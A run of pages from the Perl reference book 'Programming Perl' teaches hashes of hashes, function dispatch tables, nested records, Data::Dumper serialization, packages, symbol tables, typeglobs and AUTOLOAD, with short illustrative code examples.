9.4. Hashes of Hashes

A multidimensional hash is the most flexible of Perl's nested structures. It's like building up a record that itself contains other records. At each level, you index into the hash with a string (quoted when necessary). Remember, however, that the key/value pairs in the hash won't come out in any particular order; you can use the sort function to retrieve the pairs in whatever order you like.

9.4.1. Composition of a Hash of Hashes

You can create a hash of anonymous hashes as follows:

%HoH = (
    flintstones => {
        husband   => "fred",
        pal       => "barney",
    },
    jetsons => {
        husband   => "george",
        wife      => "jane",
        "his boy" => "elroy",  # Key quotes needed.
    },
    simpsons => {
        husband   => "homer",
        wife      => "marge",
        kid       => "bart",
    },
);
To add another anonymous hash to %HoH, you can simply say:
$HoH{ mash } = {
    captain  => "pierce",
    major    => "burns",
    corporal => "radar",
};

9.4.2. Generation of a Hash of Hashes

Here are some techniques for populating a hash of hashes. To read from a file with the following format:

flintstones: husband=fred pal=barney wife=wilma pet=dino
you could use either of the following two loops:
while ( <> ) {
    next unless s/^(.*?):\s*//;
    $who = $1;
    for $field ( split ) {
        ($key, $value) = split /=/, $field;
        $HoH{$who}{$key} = $value;
    }
}

while ( <> ) {
    next unless s/^(.*?):\s*//;
    $who = $1;
    $rec = {};
    $HoH{$who} = $rec;
    for $field ( split ) {
        ($key, $value) = split /=/, $field;
        $rec->{$key} = $value;
    }
}
If you have a subroutine get_family that returns a list of key/value pairs, you can use it to stuff %HoH with either of these three snippets:
for $group ( "simpsons", "jetsons", "flintstones" ) {
    $HoH{$group} = { get_family($group) };
}

for $group ( "simpsons", "jetsons", "flintstones" ) {
    @members = get_family($group);
    $HoH{$group} = { @members };
}

sub hash_families {
    my @ret;
    for $group ( @_ ) {
        push @ret, $group, { get_family($group) };
    }
    return @ret;
}
%HoH = hash_families( "simpsons", "jetsons", "flintstones" );
You can append new members to an existing hash like so:
%new_folks = (
    wife => "wilma",
    pet  => "dino";
);
for $what (keys %new_folks) {
    $HoH{flintstones}{$what} = $new_folks{$what};
}

9.4.3. Access and Printing of a Hash of Hashes

You can set a key/value pair of a particular hash as follows:

$HoH{flintstones}{wife} = "wilma";
To capitalize a particular key/value pair, apply a substitution to an element:
$HoH{jetsons}{'his boy'} =~ s/(\w)/\u$1/;
You can print all the families by looping through the keys of the outer hash and then looping through the keys of the inner hash:
for $family ( keys %HoH ) {
    print "$family: ";
    for $role ( keys %{ $HoH{$family} } ) {
         print "$role=$HoH{$family}{$role} ";
    }
    print "\n";
}
In very large hashes, it may be slightly faster to retrieve both keys and values at the same time using each (which precludes sorting):
while ( ($family, $roles) = each %HoH ) {
    print "$family: ";
    while ( ($role, $person) = each %$roles ) {
        print "$role=$person ";
    }
    print "\n";
}
(Unfortunately, it's the large hashes that really need to be sorted, or you'll never find what you're looking for in the printout.) You can sort the families and then the roles as follows:
for $family ( sort keys %HoH ) {
    print "$family: ";
    for $role ( sort keys %{ $HoH{$family} } ) {
         print "$role=$HoH{$family}{$role} ";
    }
    print "\n";
}
To sort the families by the number of members (instead of ASCIIbetically (or utf8ically)), you can use keys in a scalar context:
for $family ( sort { keys %{$HoH{$a}} <=> keys %{$HoH{$b}} } keys %HoH ) {
    print "$family: ";
    for $role ( sort keys %{ $HoH{$family} } ) {
         print "$role=$HoH{$family}{$role} ";
    }
    print "\n";
}
To sort the members of a family in some fixed order, you can assign ranks to each:
$i = 0;
for ( qw(husband wife son daughter pal pet) ) { $rank{$_} = ++$i }

for $family ( sort { keys %{$HoH{$a}} <=> keys %{$HoH{$b}} } keys %HoH ) {
    print "$family: ";
    for $role ( sort { $rank{$a} <=> $rank{$b} } keys %{ $HoH{$family} } ) {
        print "$role=$HoH{$family}{$role} ";
    }
    print "\n";
}

Previous | Home | Next
9.3. Arrays of Hashes | Book Index | 9.5. Hashes of Functions
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Hashes of Functions (Programming Perl)

 Book Home Programming PerlSearch this book

9.5. Hashes of Functions

When writing a complex application or network service in Perl, you might want to make a large number of commands available to your users. Such a program might have code like this to examine the user's selection and take appropriate action:

if    ($cmd =~ /^exit$/i)     { exit }
elsif ($cmd =~ /^help$/i)     { show_help() }
elsif ($cmd =~ /^watch$/i)    { $watch = 1 }
elsif ($cmd =~ /^mail$/i)     { mail_msg($msg) }
elsif ($cmd =~ /^edit$/i)     { $edited++; editmsg($msg); }
elsif ($cmd =~ /^delete$/i)   { confirm_kill() }
else {
    warn "Unknown command: `$cmd'; Try `help' next time\n";
}
You can also store references to functions in your data structures, just as you can store references to arrays or hashes:
%HoF = (                           # Compose a hash of functions
    exit    =>  sub { exit },
    help    =>  \&show_help,
    watch   =>  sub { $watch = 1 },
    mail    =>  sub { mail_msg($msg) },
    edit    =>  sub { $edited++; editmsg($msg); },
    delete  =>  \&confirm_kill,
);

if   ($HoF{lc $cmd}) { $HoF{lc $cmd}->() }   # Call function
else { warn "Unknown command: `$cmd'; Try `help' next time\n" }
In the second to last line, we check whether the specified command name (in lowercase) exists in our "dispatch table", %HoF. If so, we invoke the appropriate command by dereferencing the hash value as a function and pass that function an empty argument list. We could also have dereferenced it as &{ $HoF{lc $cmd} }(), or, as of the 5.6 release of Perl, simply $HoF{lc $cmd}().

Previous | Home | Next
9.4. Hashes of Hashes | Book Index | 9.6. More Elaborate Records
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


More Elaborate Records (Programming Perl)

 Book Home Programming PerlSearch this book

9.6. More Elaborate Records

So far, what we've seen in this chapter are simple, two-level, homogeneous data structures: each element contains the same kind of referent as all the other elements at that level. It certainly doesn't have to be that way. Any element can hold any kind of scalar, which means that it could be a string, a number, or a reference to anything at all. The reference could be an array or hash reference, or a pseudohash, or a reference to a named or anonymous function, or an object. The only thing you can't do is to stuff multiple referents into one scalar. If you find yourself trying to do that, it's a sign that you need an array or hash reference to collapse multiple values into one.

In the sections that follow, you will find code examples designed to illustrate many of the possible types of data you might want to store in a record, which we'll implement using a hash reference. The keys are uppercase strings, a convention sometimes employed (and occasionally unemployed, but only briefly) when the hash is being used as a specific record type.

9.6.1. Composition, Access, and Printing of More Elaborate Records

Here is a record with six disparate fields:

$rec = {
    TEXT      => $string,
    SEQUENCE  => [ @old_values ],
    LOOKUP    => { %some_table },
    THATCODE  => \&some_function,
    THISCODE  => sub { $_[0] ** $_[1] },
    HANDLE    => \*STDOUT,
};
The TEXT field is a simple string, so you can just print it:
print $rec->{TEXT};
SEQUENCE and LOOKUP are regular array and hash references:
print $rec->{SEQUENCE}[0];
$last = pop @{ $rec->{SEQUENCE} };

print $rec->{LOOKUP}{"key"};
($first_k, $first_v) = each %{ $rec->{LOOKUP} };
THATCODE is a named subroutine and THISCODE is an anonymous subroutine, but they're invoked identically:
$that_answer = $rec->{THATCODE}->($arg1, $arg2);
$this_answer = $rec->{THISCODE}->($arg1, $arg2);
With an extra pair of braces, you can treat $rec->{HANDLE} as an indirect object:
print { $rec->{HANDLE} } "a string\n";
If you're using the FileHandle module, you can even treat the handle as a regular object:
use FileHandle;
$rec->{HANDLE}->autoflush(1);
$rec->{HANDLE}->print("a string\n");

9.6.2. Composition, Access, and Printing of Even More Elaborate Records

Naturally, the fields of your data structures can themselves be arbitrarily complex data structures in their own right:

%TV = (
    flintstones => {
        series   => "flintstones",
        nights   => [ "monday", "thursday", "friday" ],
        members  => [
            { name => "fred",    role => "husband", age  => 36, },
            { name => "wilma",   role => "wife",    age  => 31, },
            { name => "pebbles", role => "kid",     age  =>  4, },
        ],
    },

    jetsons     => {
        series   => "jetsons",
        nights   => [ "wednesday", "saturday" ],
        members  => [
            { name => "george",  role => "husband", age  => 41, },
            { name => "jane",    role => "wife",    age  => 39, },
            { name => "elroy",   role => "kid",     age  =>  9, },
        ],
    },

    simpsons    => {
        series   => "simpsons",
        nights   => [ "monday" ],
        members  => [
            { name => "homer", role => "husband", age => 34, },
            { name => "marge", role => "wife",    age => 37, },
            { name => "bart",  role => "kid",     age => 11, },
        ],
    },
);

9.6.3. Generation of a Hash of Complex Records

Because Perl is quite good at parsing complex data structures, you might just put your data declarations in a separate file as regular Perl code, and then load them in with the do or require built-in functions. Another popular approach is to use a CPAN module (such as XML::Parser) to load in arbitrary data structures expressed in some other language (such as XML).

You can build data structures piecemeal:

$rec = {};
$rec->{series} = "flintstones";
$rec->{nights} = [ find_days() ];
Or read them in from a file (here, assumed to be in field=value syntax):
@members = ();
while (<>) {
     %fields = split /[\s=]+/;
     push @members, { %fields };
}
$rec->{members} = [ @members ];
And fold them into larger data structures keyed by one of the subfields:
$TV{ $rec->{series} } = $rec;
You can use extra pointer fields to avoid duplicate data. For example, you might want a "kids" field included in a person's record, which might be a reference to an array containing references to the kids' own records. By having parts of your data structure refer to other parts, you avoid the data skew that would result from updating the data in one place but not in another:
for $family (keys %TV) {
    my $rec = $TV{$family};   # temporary pointer
    @kids = ();
    for $person ( @{$rec->{members}} ) {
        if ($person->{role} =~ /kid|son|daughter/) {
            push @kids, $person;
        }
    }
    # $rec and $TV{$family} point to same data!
    $rec->{kids} = [ @kids ];
}
The $rec->{kids} = [ @kids ] assignment copies the array contents--but they are merely references to uncopied data. This means that if you age Bart as follows:
$TV{simpsons}{kids}[0]{age}++;            # increments to 12
then you'll see the following result, because $TV{simpsons}{kids}[0] and $TV{simpsons}{members}[2] both point to the same underlying anonymous hash table:
print $TV{simpsons}{members}[2]{age};     # also prints 12
Now, to print the entire %TV structure:
for $family ( keys %TV ) {
    print "the $family";
    print " is on ", join (" and ", @{ $TV{$family}{nights} }), "\n";
    print "its members are:\n";
    for $who ( @{ $TV{$family}{members} } ) {
        print " $who->{name} ($who->{role}), age $who->{age}\n";
    }
    print "children: ";
    print join (", ", map { $_->{name} } @{ $TV{$family}{kids} } );
    print "\n\n";
}

Previous | Home | Next
9.5. Hashes of Functions | Book Index | 9.7. Saving Data Structures
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Saving Data Structures (Programming Perl)

 Book Home Programming PerlSearch this book

9.7. Saving Data Structures

If you want to save your data structures for use by another program later, there are many ways to do it. The easiest way is to use Perl's Data::Dumper module, which turns a (possibly self-referential) data structure into a string that can be saved externally and later reconstituted with eval or do.

use Data::Dumper;
$Data::Dumper::Purity = 1;       # since %TV is self-referential
open (FILE, "> tvinfo.perldata") or die "can't open tvinfo: $!";
print FILE Data::Dumper->Dump([\%TV], ['*TV']);
close FILE                       or die "can't close tvinfo: $!";
A separate program (or the same program) can then read in the file later:
open (FILE, "< tvinfo.perldata") or die "can't open tvinfo: $!";
undef $/;                        # read in file all at once
eval <FILE>;                     # recreate %TV
die "can't recreate tv data from tvinfo.perldata: $@" if $@;
close FILE                       or die "can't close tvinfo: $!";
print $TV{simpsons}{members}[2]{age};
or simply:
do "tvinfo.perldata"            or die "can't recreate tvinfo: $! $@";
print $TV{simpsons}{members}[2]{age};
Many other solutions are available, with storage formats ranging from packed binary (very fast) to XML (very interoperable). Check out a CPAN mirror near you today!

Previous | Home | Next
9.6. More Elaborate Records | Book Index | 10. Packages
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Packages (Programming Perl)

 Book Home Programming PerlSearch this book

Chapter 10. Packages

Contents:

Symbol Tables
Autoloading

In this chapter, we get to start having fun, because we get to start talking about software design. If we're going to talk about good software design, we have to talk about Laziness, Impatience, and Hubris, the basis of good software design.

We've all fallen into the trap of using cut-and-paste when we should have defined a higher-level abstraction, if only just a loop or subroutine.[1] To be sure, some folks have gone to the opposite extreme of defining ever-growing mounds of higher-level abstractions when they should have used cut-and-paste.[2] Generally, though, most of us need to think about using more abstraction rather than less.

[1] This is a form of False Laziness.

[2]This is a form of False Hubris.

Caught somewhere in the middle are the people who have a balanced view of how much abstraction is good, but who jump the gun on writing their own abstractions when they should be reusing existing code.[3]

[3] You guessed it--this is False Impatience. But if you're determined to reinvent the wheel, at least try to invent a better one.

Whenever you're tempted to do any of these things, you need to sit back and think about what will do the most good for you and your neighbor over the long haul. If you're going to pour your creative energies into a lump of code, why not make the world a better place while you're at it? (Even if you're only aiming for the program to succeed, you need to make sure it fits the right ecological niche.)

The first step toward ecologically sustainable programming is simply this: don't litter in the park. When you write a chunk of code, think about giving the code its own namespace, so that your variables and functions don't clobber anyone else's, or vice versa. A namespace is a bit like your home, where you're allowed to be as messy as you like, as long as you keep your external interface to other citizens moderately civil. In Perl, a namespace is called a package. Packages provide the fundamental building block upon which the higher-level concepts of modules and classes are constructed.

Like the notion of "home", the notion of "package" is a bit nebulous. Packages are independent of files. You can have many packages in a single file, or a single package that spans several files, just as your home could be one small garret in a larger building (if you're a starving artist), or it could comprise several buildings (if your name happens to be Queen Elizabeth). But the usual size of a home is one building, and the usual size of a package is one file. Perl provides some special help for people who want to put one package in one file, as long as you're willing to give the file the same name as the package and use an extension of .pm, which is short for "perl module". The module is the fundamental unit of reusability in Perl. Indeed, the way you use a module is with the use command, which is a compiler directive that controls the importation of subroutines and variables from a module. Every example of use you've seen until now has been an example of module reuse.

The Comprehensive Perl Archive Network, or CPAN, is where you should put your modules if other people might find them useful. Perl has thrived because of the willingness of programmers to share the fruits of their labor with the community. Naturally, CPAN is also where you can find modules that others have thoughtfully uploaded for everyone to use. See Chapter 22, "CPAN", and www.cpan.org for details.

The trend over the last 25 years or so has been to design computer languages that enforce a state of paranoia. You're expected to program every module as if it were in a state of siege. Certainly there are some feudal cultures where this is appropriate, but not all cultures are like this. In Perl culture, for instance, you're expected to stay out of someone's home because you weren't invited in, not because there are bars on the windows.[4]

[4] But Perl provides some bars if you want them, too. See "Handling Insecure Code" in Chapter 23, "Security".

This is not a book about object-oriented methodology, and we're not here to convert you into a raving object-oriented zealot, even if you want to be converted. There are already plenty of books out there for that. Perl's philosophy of object-oriented design fits right in with Perl's philosophy of everything else: use object-oriented design where it makes sense, and avoid it where it doesn't. Your call.

In OO-speak, every object belongs to a grouping called a class. In Perl, classes and packages and modules are all so closely related that novices can often think of them as being interchangeable. The typical class is implemented by a module that defines a package with the same name as the class. We'll explain all of this in the next few chapters.

When you use a module, you benefit from direct software reuse. With classes, you benefit from indirect software reuse when one class uses another through inheritance. And with classes, you get something more: a clean interface to another namespace. Everything in a class is accessed indirectly, insulating the class from the outside world.

As we mentioned in Chapter 8, "References", object-oriented programming in Perl is accomplished through references whose referents know which class they belong to. In fact, now that you know about references, you know almost everything difficult about objects. The rest of it just "lays under the fingers", as a pianist would say. You will need to practice a little, though.

One of your basic finger exercises consists of learning how to protect different chunks of code from inadvertently tampering with each other's variables. Every chunk of code belongs to a particular package, which determines what variables and subroutines are available to it. As Perl encounters a chunk of code, it is compiled into what we call the current package. The initial current package is called "main", but you can switch the current package to another one at any time with the package declaration. The current package determines which symbol table is used to find your variables, subroutines, I/O handles, and formats.

Any variable not declared with my is associated with a package--even seemingly omnipresent variables like $_ and %SIG. In fact, there's really no such thing as a global variable in Perl, just package variables. (Special identifiers like _ and SIG merely seem global because they default to the main package instead of the current one.)

The scope of a package declaration is from the declaration itself through the end of the enclosing scope (block, file, or eval--whichever comes first) or until another package declaration at the same level, which supersedes the earlier one. (This is a common practice).

All subsequent identifiers (including those declared with our, but not including those declared with my or those qualified with a different package name) will be placed in the symbol table belonging to the current package. (Variables declared with my are independent of packages; they are always visible within, and only within, their enclosing scope, regardless of any package declarations.)

Typically, a package declaration will be the first statement of a file meant to be included by require or use. But again, that's by convention. You can put a package declaration anywhere you can put a statement. You could even put it at the end of a block, in which case it would have no effect whatsoever. You can switch into a package in more than one place; a package declaration merely selects the symbol table to be used by the compiler for the rest of that block. (This is how a given package can span more than one file.)

You can refer to identifiers[5] in other packages by prefixing ("qualifying") the identifier with the package name and a double colon: $Package::Variable. If the package name is null, the main package is assumed. That is, $::sail is equivalent to $main::sail.[6]

[5] By identifiers, we mean the names used as symbol table keys for accessing scalar variables, array variables, hash variables, subroutines, file or directory handles, and formats. Syntactically speaking, labels are also identifiers, but they aren't put into a particular symbol table; rather, they are attached directly to the statements in your program. Labels cannot be package qualified.

[6] To clear up another bit of potential confusion, in a variable name like $main::sail, we use the term "identifier" to talk about main and sail, but not main::sail. We call that a variable name instead, because identifiers cannot contain colons.

The old package delimiter was a single quote, so in old Perl programs you'll see variables like $main'sail and $somepack'horse. But the double colon is now the preferred delimiter, in part because it's more readable to humans, and in part because it's more readable to emacs macros. It also makes C++ programmers feel like they know what's going on--as opposed to using the single quote as the separator, which was there to make Ada programmers feel like they knew what's going on. Because the old-fashioned syntax is still supported for backward compatibility, if you try to use a string like "This is $owner's house", you'll be accessing $owner::s; that is, the $s variable in package owner, which is probably not what you meant. Use braces to disambiguate, as in "This is ${owner}'s house".

The double colon can be used to chain together identifiers in a package name: $Red::Blue::var. This means the $var belonging to the Red::Blue package. The Red::Blue package has nothing to do with any Red or Blue packages that might happen to exist. That is, a relationship between Red::Blue and Red or Blue may have meaning to the person writing or using the program, but it means nothing to Perl. (Well, other than the fact that, in the current implementation, the symbol table Red::Blue happens to be stored in the symbol table Red. But the Perl language makes no use of that directly.)

For this reason, every package declaration must declare a complete package name. No package name ever assumes any kind of implied "prefix", even if (seemingly) declared within the scope of some other package declaration.

Only identifiers (names starting with letters or an underscore) are stored in a package's symbol table. All other symbols are kept in the main package, including all the nonalphabetic variables, like $!, $?, and $_. In addition, when unqualified, the identifiers STDIN, STDOUT, STDERR, ARGV, ARGVOUT, ENV, INC, and SIG are forced to be in package main, even when used for other purposes than their built-in ones. Don't name your package m, s, y, tr, q, qq, qr, qw, or qx unless you're looking for a lot of trouble. For instance, you won't be able to use the qualified form of an identifier as a filehandle because it will be interpreted instead as a pattern match, a substitution, or a transliteration.

Long ago, variables beginning with an underscore were forced into the main package, but we decided it was more useful for package writers to be able to use a leading underscore to indicate semi-private identifiers meant for internal use by that package only. (Truly private variables can be declared as file-scoped lexicals, but that works best when the package and module have a one-to-one relationship, which is common but not required.)

The %SIG hash (which is for trapping signals; see Chapter 16, "Interprocess Communication") is also special. If you define a signal handler as a string, it's assumed to refer to a subroutine in the main package unless another package name is explicitly used. Use a fully qualified signal handler name if you want to specify a particular package, or avoid strings entirely by assigning a typeglob or a function reference instead:

$SIG{QUIT} = "Pkg::quit_catcher"; # fully qualified handler name
$SIG{QUIT} = "quit_catcher";      # implies "main::quit_catcher"
$SIG{QUIT} = *quit_catcher;       # forces current package's sub
$SIG{QUIT} = \&quit_catcher;      # forces current package's sub
$SIG{QUIT} = sub { print "Caught SIGQUIT\n" };   # anonymous sub
The notion of "current package" is both a compile-time and run-time concept. Most variable name lookups happen at compile time, but run-time lookups happen when symbolic references are dereferenced, and also when new bits of code are parsed under eval. In particular, when you eval a string, Perl knows which package the eval was invoked in and propagates that package inward when evaluating the string. (You can always switch to a different package inside the eval string, of course, since an eval string counts as a block, just like a file loaded in with do, require, or use.)

Alternatively, if an eval wants to find out what package it's in, the special symbol __PACKAGE__ contains the current package name. Since you can treat it as a string, you could use it in a symbolic reference to access a package variable. But if you were doing that, chances are you should have declared the variable with our instead so it could be accessed as if it were a lexical.

10.1. Symbol Tables

The contents of a package are collectively called a symbol table. Symbol tables are stored in a hash whose name is the same as the package, but with two colons appended. The main symbol table's name is thus %main::. Since main also happens to be the default package, Perl provides %:: as an abbreviation for %main::.

Likewise, the symbol table for the Red::Blue package is named %Red::Blue::. As it happens, the main symbol table contains all other top-level symbol tables, including itself, so %Red::Blue:: is also %main::Red::Blue::.

When we say that a symbol table "contains" another symbol table, we mean that it contains a reference to the other symbol table. Since main is the top-level package, it contains a reference to itself, with the result that %main:: is the same as %main::main::, and %main::main::main::, and so on, ad infinitum. It's important to check for this special case if you write code that traverses all symbol tables.

Inside a symbol table's hash, each key/value pair matches a variable name to its value. The keys are the symbol identifiers, and the values are the corresponding typeglobs. So when you use the *NAME typeglob notation, you're really just accessing a value in the hash that holds the current package's symbol table. In fact, the following have (nearly) the same effect:

*sym = *main::variable;
*sym = $main::{"variable"};
The first is more efficient because the main symbol table is accessed at compile time. It will also create a new typeglob by that name if none previously exists, whereas the second form will not.

Since a package is a hash, you can look up the keys of the package and get to all the variables of the package. Since the values of the hash are typeglobs, you can dereference them in several ways. Try this:

foreach $symname (sort keys %main::) {
    local *sym = $main::{$symname};
    print "\$$symname is defined\n" if defined $sym;
    print "\@$symname is nonnull\n" if         @sym;
    print "\%$symname is nonnull\n" if         %sym;
}
Since all packages are accessible (directly or indirectly) through the main package, you can write Perl code to visit every package variable in your program. The Perl debugger does precisely that when you ask it to dump all your variables with the V command. Note that if you do this, you won't see variables declared with my since those are independent of packages, although you will see variables declared with our. See Chapter 20, "The Perl Debugger".

Earlier we said that only identifiers are stored in packages other than main. That was a bit of a fib: you can use any string you want as the key in a symbol table hash--it's just that it wouldn't be valid Perl if you tried to use a non-identifier directly:

$!@#$%           = 0;         # WRONG, syntax error.
${'!@#$%'}       = 1;         # Ok, though unqualified.

${'main::!@#$%'} = 2;         # Can qualify within the string.
print ${ $main::{'!@#$%'} }   # Ok, prints 2!
Assignment to a typeglob performs an aliasing operation; that is,
*dick = *richard;
causes variables, subroutines, formats, and file and directory handles accessible via the identifier richard to also be accessible via the symbol dick. If you want to alias only a particular variable or subroutine, assign a reference instead:
*dick = \$richard;
That makes $richard and $dick the same variable, but leaves @richard and @dick as separate arrays. Tricky, eh?

This is how the Exporter works when importing symbols from one package to another. For example:

*SomePack::dick = \&OtherPack::richard;
imports the &richard function from package OtherPack into SomePack, making it available as the &dick function. (The Exporter module is described in the next chapter.) If you precede the assignment with a local, the aliasing will only last as long as the current dynamic scope.

This mechanism may be used to retrieve a reference from a subroutine, making the referent available as the appropriate data type:

*units = populate() ;         # Assign \%newhash to the typeglob
print $units{kg};             # Prints 70; no dereferencing needed!

sub populate {
    my %newhash = (km => 10, kg => 70);
    return \%newhash;
}
Likewise, you can pass a reference into a subroutine and use it without dereferencing:
%units = (miles => 6, stones => 11);
fillerup( \%units );          # Pass in a reference
print $units{quarts};         # Prints 4

sub fillerup {
    local *hashsym = shift;   # Assign \%units to the typeglob
    $hashsym{quarts} = 4;     # Affects %units; no dereferencing needed!
}
These are tricky ways to pass around references cheaply when you don't want to have to explicitly dereference them. Note that both techniques only work with package variables; they would not have worked had we declared %units with my.

Another use of symbol tables is for making "constant" scalars:

*PI = \3.14159265358979;
Now you cannot alter $PI, which is probably a good thing, all in all. This isn't the same as a constant subroutine, which is optimized at compile time. A constant subroutine is one prototyped to take no arguments and to return a constant expression; see Section 10.4.1, "Inlining Constant Functions" in Chapter 6, "Subroutines", for details. The use constant pragma (see Chapter 31, "Pragmatic Modules") is a convenient shorthand:
use constant PI => 3.14159;
Under the hood, this uses the subroutine slot of *PI, instead of the scalar slot used earlier. It's equivalent to the more compact (but less readable):
*PI = sub () { 3.14159 };
That's a handy idiom to know anyway--assigning a sub {} to a typeglob is the way to give a name to an anonymous subroutine at run time.

Assigning a typeglob reference to another typeglob (*sym = \*oldvar) is the same as assigning the entire typeglob, because Perl automatically dereferences the typeglob reference for you. And when you set a typeglob to a simple string, you get the entire typeglob named by that string, because Perl looks up the string in the current symbol table. The following are all equivalent to one another, though the first two compute the symbol table entry at compile time, while the last two do so at run time:

*sym =   *oldvar;
*sym =  \*oldvar;       # autodereference
*sym = *{"oldvar"};     # explicit symbol table lookup
*sym =   "oldvar";      # implicit symbol table lookup
When you perform any of the following assignments, you're replacing just one of the references within the typeglob:
*sym = \$frodo;
*sym = \@sam;
*sym = \%merry;
*sym = \&pippin;
If you think about it sideways, the typeglob itself can be viewed as a kind of hash, with entries for the different variable types in it. In this case, the keys are fixed, since a typeglob can contain exactly one scalar, one array, one hash, and so on. But you can pull out the individual references, like this:
*pkg::sym{SCALAR}      # same as \$pkg::sym
*pkg::sym{ARRAY}       # same as \@pkg::sym
*pkg::sym{HASH}        # same as \%pkg::sym
*pkg::sym{CODE}        # same as \&pkg::sym
*pkg::sym{GLOB}        # same as \*pkg::sym
*pkg::sym{IO}          # internal file/dir handle, no direct equivalent
*pkg::sym{NAME}        # "sym" (not a reference)
*pkg::sym{PACKAGE}     # "pkg" (not a reference)
You can say *foo{PACKAGE} and *foo{NAME} to find out what name and package the *foo symbol table entry comes from. This may be useful in a subroutine that is passed typeglobs as arguments:
sub identify_typeglob {
    my $glob = shift;
    print 'You gave me ', *{$glob}{PACKAGE}, '::', *{$glob}{NAME}, "\n";
}

identify_typeglob(*foo);
identify_typeglob(*bar::glarch);
This prints:
You gave me main::foo
You gave me bar::glarch
The *foo{THING} notation can be used to obtain references to individual elements of *foo. See the section Section 10.2.5, "Symbol Table References" in Chapter 8, "References" for details.

This syntax is primarily used to get at the internal filehandle or directory handle reference, because the other internal references are already accessible in other ways. (The old *foo{FILEHANDLE} is still supported to mean *foo{IO}, but don't let its name fool you into thinking it can distinguish filehandles from directory handles.) But we thought we'd generalize it because it looks kind of pretty. Sort of. You probably don't need to remember all this unless you're planning to write another Perl debugger.

Previous | Home | Next
9.7. Saving Data Structures | Book Index | 10.2. Autoloading
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Autoloading (Programming Perl)

 Book Home Programming PerlSearch this book

10.2. Autoloading

Normally, you can't call a subroutine that isn't defined. However, if there is a subroutine named AUTOLOAD in the undefined subroutine's package (or in the case of an object method, in the package of any of the object's base classes), then the AUTOLOAD subroutine is called with the same arguments that would have been passed to the original subroutine. You can define the AUTOLOAD subroutine to return values just like a regular subroutine, or you can make it define the routine that didn't exist and then call that as if it'd been there all along.

The fully qualified name of the original subroutine magically appears in the package-global $AUTOLOAD variable, in the same package as the AUTOLOAD routine. Here's a simple example that gently warns you about undefined subroutine invocations instead of exiting:

sub AUTOLOAD {
    our $AUTOLOAD;
    warn "Attempt to call $AUTOLOAD failed.\n";
}

blarg(10);              # our $AUTOLOAD will be set to main::blarg
print "Still alive!\n";
Or you can return a value on behalf of the undefined subroutine:
sub AUTOLOAD {
    our $AUTOLOAD;
    return "I see $AUTOLOAD(@_)\n";
}

print blarg(20);        # prints: I see main::blarg(20)
Your AUTOLOAD subroutine might load a definition for the undefined subroutine using eval or require, or use the glob assignment trick discussed earlier, and then execute that subroutine using the special form of goto that can erase the stack frame of the AUTOLOAD routine without a trace. Here we define the subroutine by assigning a closure to the glob:
sub AUTOLOAD {
    my $name = our $AUTOLOAD;
    *$AUTOLOAD = sub { print "I see $name(@_)\n" };
    goto &$AUTOLOAD;    # Restart the new routine.
}

blarg(30);              # prints: I see main::blarg(30)
glarb(40);              # prints: I see main::glarb(40)
blarg(50);              # prints: I see main::blarg(50)
The standard AutoSplit module is used by module writers to split their modules into separate files (with filenames ending in .al), each holding one routine. The files are placed in the auto/ directory of your system's Perl library, after which the files can be autoloaded on demand by the standard AutoLoader module.

A similar approach is taken by the SelfLoader module, except that it autoloads functions from the file's own DATA area, which is less efficient in some ways and more efficient in others. Autoloading of Perl functions by AutoLoader and SelfLoader is analogous to dynamic loading of compiled C functions by DynaLoader, except that autoloading is done at the granularity of the function call, whereas dynamic loading is done at the granularity of the complete module, and will usually link in many C or C++ functions all at once. (Note that many Perl programmers get along just fine without the AutoSplit, AutoLoader, SelfLoader, or DynaLoader modules. You just need to know that they're there, in case you can't get along just fine without them.)

One can have great fun with AUTOLOAD routines that serve as wrappers to other interfaces. For example, let's pretend that any function that isn't defined should just call system with its arguments. All you'd do is this:

sub AUTOLOAD {
    my $program = our $AUTOLOAD;
    $program =~ s/.*:://;  # trim package name
    system($program, @_);
}
(Congratulations, you've now implemented a rudimentary form of the Shell module that comes standard with Perl.) You can call your autoloader (on Unix) like this:
date();
who('am', 'i');
ls('-l');
echo("Abadugabudabuda...");
In fact, if you predeclare the functions you want to call that way, you can pretend they're built-ins and omit the parentheses on the call:
sub date (;$$);       # Allow zero to two arguments.
sub who (;$$$$);      # Allow zero to four args.
sub ls;               # Allow any number of args.
sub echo ($@);        # Allow at least one arg.

date;
who "am", "i";
ls "-l";
echo "That's all, folks!";

Previous | Home | Next
10.1. Symbol Tables | Book Index | 11. Modules
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Modules (Programming Perl)

 Book Home Programming PerlSearch this book

Chapter 11. Modules

Contents:

Using Modules
Creating Modules
Overriding Built-in Functions

The module is the fundamental unit of code reuse in Perl. Under the hood, it's just a package defined in a file of the same name (with .pm on the end). In this chapter, we'll explore how you can use other people's modules and create your own.

Perl comes bundled with a large number of modules, which you can find in the lib directory of your Perl distribution. Many of those modules are described in Chapter 32, "Standard Modules", and Chapter 31, "Pragmatic Modules". All the standard modules also have extensive online documentation, which (horrors) may be more up-to-date than this book. Try the perldoc command if your man command doesn't work.

The Comprehensive Perl Archive Network (CPAN) contains a worldwide repository of modules contributed by the Perl community, and is discussed in Chapter 22, "CPAN". See also http://www.cpan.org.

11.1. Using Modules

Modules come in two flavors: traditional and object-oriented. Traditional modules define subroutines and variables for the caller to import and use. Object-oriented modules function as class definitions and are accessed through method calls, described in Chapter 12, "Objects". Some modules do both.

Perl modules are typically included in your program by saying:

use MODULE LIST;
or just:
use MODULE;

MODULE must be an identifier naming the module's package and file. (The syntax descriptions here are meant to be suggestive; the full syntax of the use statement is given in Chapter 29, "Functions".)

The use statement does a preload of MODULE at compile time and then an import of the symbols you've requested so that they'll be available for the rest of the compilation. If you do not supply a LIST of symbols that you want, the symbols named in the module's internal @EXPORT array are used--assuming you're using the Exporter module, described in "Module Privacy and the Exporter" later in this chapter. (If you do supply a LIST, all your symbols must be mentioned in the module's @EXPORT or @EXPORT_OK arrays, or an error will result.)

Since modules use the Exporter to import symbols into the current package, you can use symbols from the module without providing a package qualifier:

use Fred;       # If Fred.pm has @EXPORT = qw(flintstone)
flintstone();   # ...this calls Fred::flintstone().

